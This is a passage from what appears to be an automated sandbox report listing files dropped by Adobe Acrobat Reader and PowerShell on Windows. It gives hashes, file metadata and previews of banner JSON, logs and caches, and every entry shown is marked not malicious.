SHA-256:	9B0ED9804A883EE84EA4657F3607E078C2863F82770546A9EED32FAB72F707AA
SHA-512:	3F4896C81CB6F19D0155FCF568070902C7B92B04AB3A1A449F9954B0A7860D2919D880E05A289C2461561AFE6D0439668856852730BA7E3CF112B560D058D57A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318218704803097
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfYdPeUkwRe9:YvXKXnXTGUMrT5LjIPpGg8Ukee9
MD5:	63B78FAFC64F5B1C28446842FE7D1879
SHA1:	AE8170AF46EB8732AE1C33B5268479CA6CAE9E22
SHA-256:	63214ED436EA8E7B5471B34965D8B17706D2C502C57ABB81D9819D1DE7BC8F96
SHA-512:	5F32EEB63C42B769D5D544548266CC462F0B5CA1E2997C86FE53343465BE196DC3A2D21D3944592755564FC753AAE1B7501D4B039B7C8667A75D444FA28ED8A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.304888820398736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJf+dPeUkwRe9:YvXKXnXTGUMrT5LjIPpG28Ukee9
MD5:	24F48D076C5010F918C96CA47E503126
SHA1:	62875B616B356B81F884C28382408379F99A03C8
SHA-256:	24B6883DBE432B69FFB4E7F0A01E58AFA380D9A98A3D7D5368D8DE19C954148A
SHA-512:	A35F152C3164C651E8A04B14F05751ECDFE010A2A2FAB1C9F62CF337A9273CCE9B2C7EECC1D2ACFC0437342660E8F0A7003EA9166E9F90F0691A0BC2A83514EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.301640588010961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfbPtdPeUkwRe9:YvXKXnXTGUMrT5LjIPpGDV8Ukee9
MD5:	33A659ACE95294D1D4A5252EBC4416CF
SHA1:	EC8D2C401AF38EB205B2F3325AB110104F8CDE7A
SHA-256:	1DD3C6F5307EB7AF02A4B6296B5A362477BB94351207C1B578A301F51ECA3194
SHA-512:	770A17FB6E72452377A3207F1CB2A72D88A5CBB25B8FDA7C6408960EB0BA5F718A3A16F2AA3E1C7E5DB097377652C3B89C3CEAF2753263D264A5631923BF9E2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.293652689607213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJf21rPeUkwRe9:YvXKXnXTGUMrT5LjIPpG+16Ukee9
MD5:	3CFB62F6150B90FB46191AE8458A13C5
SHA1:	7ED46B428A94CBC7B5A3F0C07C71C2EAEFBE1B7F
SHA-256:	C7CD5935F1A4FC86CF7AC3450A5986B3772E3F562FDF11791ED3582D5AFCD9D9
SHA-512:	98F27C2FFF6903D6E05A56CE7A9BD645FE9746679646E523FFB1E22018C2D6D9E068E20891A2DE2EB2F8EBDA113D7B3955B4E8C6A70CFD01819B2153252E5170
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669539605977896
Encrypted:	false
SSDEEP:	24:Yv6XaUUT5XIKamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvhXfBgkDMUJUAh8cvMj
MD5:	F5A7209EFF83CB034EDFB215A556C1E7
SHA1:	E0838483D165AC67F8B411270FCBB8B4A7E34E1B
SHA-256:	9349259DA9A12429BFFC41E3A7BB326E24FCF2368A2CD5169F023B8B42801F55
SHA-512:	2798605C3491B175C2A2B2C1C2D213104E0424442C065BA56675A20BBDD0344ED37C48208A122E9E934AF37EEA495E3E952BEA105DB00FB887D1A05B4C4FDE3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.268783918295761
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfshHHrPeUkwRe9:YvXKXnXTGUMrT5LjIPpGUUUkee9
MD5:	B6EDF78D6B37180F54F3DDB84152BBF9
SHA1:	6E29BDC66BDDBDB0B6CEB78E317E5C7D8F2BDADB
SHA-256:	83AB4B9BA9A8A4A1B5ADC187A48D92BA3C64127B6F3A962DF5013EE8031A5BF2
SHA-512:	AB86EE9E00555661F3A6834D01E4837890049749F6E206D1C2807B50F54E43675B550884668B751694EE08B126A458DD0516148CEAEA0BF0972A9CE959E554BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276496936157992
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJTqgFCrPeUkwRe9:YvXKXnXTGUMrT5LjIPpGTq16Ukee9
MD5:	ECF89AA7C9E4803B190D4EFC814E91CC
SHA1:	0B5F91F14108D3EF17AE884D8619CEF56794A3B3
SHA-256:	7B7AC44ACFD54F57F4EE165291213836FDBF8169520BE2A46BF1E0E6C5FB0571
SHA-512:	D3A340AD027E6EBAEEF4287F0A147A5CED495710E2C8B508E917DA64B98C5D226AE8ADBB1C6BFE9BC612F8EB3E9639F9914A185724C0B1F30F63105338EF170B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132017266196818
Encrypted:	false
SSDEEP:	24:YxBJ2l6GaJHayVaW09JY6pbpo6J36QSRPjyj0S/f9VZuC2QNx2LS/RCW8gBci5p5:YT47GEp/xf6Ec4puw0x9Ax
MD5:	FC9335F3D85ADB9A2BAFC9421560DA72
SHA1:	E5B4FA54A93497EBEFA6CDBE98B13E4ABA76018F
SHA-256:	6CEE521BCFF59D2C1BA56EC4AFDC3B5EA77054F509387443A4A817914748BA30
SHA-512:	2CC0C5204C61ECF9A459091AFCD0E171FE36CD3823DDACE28B503298A80EBEC690F23FD8B9135232D74726B5B2EA77553EF3A6FD595CA9610213EEA51D5A7B79
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f16c0a800269331d4a51c13d251dd0d9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736560329000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a6ed28de7ebb56fa013c2e95d950ee54","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736560329000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d3d8985b404a81aa7cc8cc3b6fbe2069","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736560329000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"22974884261e3aa6601efa856b6b7c99","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736560329000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8afe59c96715977e23376ea6a89859fa","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736560329000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"76e475cfcd978668ba7e9ccd8a41012d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3673695410168494
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDulfXKdqEKfS8EKfM1badfF:Tll2GL7msMcKTlS8fcsu6fI/
MD5:	010DB02313F978647692117E4333FA47
SHA1:	0B2EDB2CE3441A4536287488BABA569E88504AF4
SHA-256:	CF3F630A2795B65E59291497EFA0190AD6C8F33F233DDCD63D03AF36AD1FCE85
SHA-512:	0600FDB1BA714CA3AA79BCB2C01892EA9F9C6B4F85C7FD159152E149E56DD4F3D6BC41D4F398560E709B7BD4D64653D7A1B3C1921303FA2934C5D0360BE89345
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8441572203905598
Encrypted:	false
SSDEEP:	24:7+t+PZ6bqyKn6ylSTofcNqDulf+KdqEKfS8EKfM1banbqaqLKufx/XYKQvGJF7uI:7M+hcKTlS8fcsu/fIrqGufl2GL7msN
MD5:	C31F72C4B770713AB39356DD2899D868
SHA1:	732C08EC070033A71410BEE912FB35C84E217B6F
SHA-256:	034B78DDB1F1A4115E190CF6C154FB29E8FF522A3502F9DB94C64D4B45211DA3
SHA-512:	6F5E4D1931C9C8BA52DE0010581B165DA595FEC0836FD78BF20819A2A1373B66C884591DF5568DE0C77C72145A04B05C34C934765E31EEA8A488A9F4DE96A1A7
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgyVEHpPSvWWPfM/wlxKs+TsGYyu:6a6TZ44ADEyVEtS+W34w0K
MD5:	1A6135CD7424D9143B917875B7FF820F
SHA1:	CD4F2A192A310EA282E6369CB57B0519F6D8E08C
SHA-256:	0B58760D38BDA26AA7D7034229FE404C8161A6699996501B97C3E7DB1A7016F0
SHA-512:	AB6B95D98F896DB45479AED6755AF1FB3A5C502280FBC5857A51C361B35B18497B528B877BAE3A80C236BB8122E725AE8375578E2042997C0A1281C0498474F9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIe7709.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.480679440204275
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClbMH:Qw946cPbiOxDlbYnuRK+bq6
MD5:	11DAA8E7ADC7F9DC9FA80CE3A298E2B9
SHA1:	C4E1044AB03272211846C54DF8DC3DB5290396B6
SHA-256:	9575C2BDABF1060AD9EC95E5EE6684019C6C1BAFB983623EDD329AE07C1F927A
SHA-512:	634BD612D9DAD6D749EECCB1867B1D6D3DB71AC6EA12A818DD2C7EFEFE2364037D6A8E5F7A096CC0E59E5253E0B1BB98308C8877D7CDFF8D85D48DE54E6CE464
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.5.2.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_du3cy3i3.aq2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vlen3lgj.n2p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-52-03-000.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.353948486557074
Encrypted:	false
SSDEEP:	384:gIeJWUrvjw1roOz782rBds4FJDWbfMoGDYQaEAqOnLVm9DoRxxeZc7M7236II4jr:ccU3
MD5:	A323BB013481A97660D681BD9FBE7C5A
SHA1:	70C7C99ED55609D778A6A7C3BB1D422BD4DE6BCC
SHA-256:	081F1D6ABE62126DD5D4F67070C9C1CB4AEE21CF410549012A4820F180D536D3
SHA-512:	AB6A24FE86C42A1C220E217985BE2073C491FDB51D8C0665BF0ED11EF104DAF6C50E41FD85D02038D4E05B120769A9847FBAE4866441DED2BAA164DF40B368E6
Malicious:	false
Preview:	SessionID=197abc52-188f-4f0d-b290-32bdf561a89d.1736560323022 Timestamp=2025-01-10T20:52:03:022-0500 ThreadID=7360 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=197abc52-188f-4f0d-b290-32bdf561a89d.1736560323022 Timestamp=2025-01-10T20:52:03:023-0500 ThreadID=7360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=197abc52-188f-4f0d-b290-32bdf561a89d.1736560323022 Timestamp=2025-01-10T20:52:03:023-0500 ThreadID=7360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=197abc52-188f-4f0d-b290-32bdf561a89d.1736560323022 Timestamp=2025-01-10T20:52:03:023-0500 ThreadID=7360 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=197abc52-188f-4f0d-b290-32bdf561a89d.1736560323022 Timestamp=2025-01-10T20:52:03:023-0500 ThreadID=7360 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3787004303326444
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmbXcb4ICQcbt:8qnXopZ50rvyCz
MD5:	7C8400A7C6A60462B7A68969AC5D4101
SHA1:	59A9D9AFED01A31A8AACC068688FE4341A1CCE4F
SHA-256:	7EBBBBE71BF1599B91533C8D8EA151F4A61BEC82A2102FF3D7E91FA4570790BE
SHA-512:	1793C7E5DDCAEA99CA68E4465D07F99E3DE726AC0006D710A3AC3C90BFEDA71A694A399DAD366F9B968F889E6049C2AF18B1078158D14E8096440A6C6772B802
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3b42477c-d183-4c0c-b2c9-01afba036159.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
